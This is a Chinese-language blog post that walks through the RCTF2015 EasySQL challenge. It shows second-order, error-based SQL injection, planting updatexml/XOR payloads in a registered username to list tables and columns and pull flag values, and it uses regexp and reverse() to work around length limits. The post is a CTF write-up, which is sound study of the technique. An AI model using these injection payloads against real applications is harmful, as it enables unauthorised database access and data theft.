二次注入复习
[[RCTF2015]EasySQL
对于本题,二次注入,就是先注入,后执行,第一次注册用户名的时候,把注入语句放进去,再修改密码的时候,它会执行我们的SQL语句,产生报错信息,即成功。
注册的时候:
1 | test"^updatexml(1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))), 1)# |
异或注入,在本题中,就是指,前面test”是0,只要后面查询到,整体就是1,就通过,所以可以报错。
查询出表明有flag,再查询列名
1 | test"^1, concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))), 1) |
结果查出一个假的flag。
那我们也看一下这个flag字段中有什么:
1 | test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)# |
于是我们断定,剩余的flag在user表中!
果然!
1 | test"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)# |
但是输出上述内容,应该是长度限制
我们用正则表达式的函数
1 | regexp('^f') |
我们来看一下REGEXP正则表达式
1 | mysql> SELECT name FROM person_tbl WHERE name REGEXP '^st'; |
查找name字段中以’ok’为结尾的所有数据:
1 | mysql> SELECT name FROM person_tbl WHERE name REGEXP 'ok$'; |
查找name字段中包含’mar’字符串的所有数据:
1 | mysql> SELECT name FROM person_tbl WHERE name REGEXP 'mar'; |
查找name字段中以元音字符开头或以’ok’字符串结尾的所有数据:
1 | mysql> SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$'; |
于是最后用正则表达式查找
1 | test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)# |
也就是查找出所有以f开头的字符串。
如何爆出另一半呢?
1 | reverse() |
将select查询出的内容进行reverse处理即可!
http://www.mathming.ltd/2022/05/19/2022-5-19-%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5%E5%A4%8D%E4%B9%A0/
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment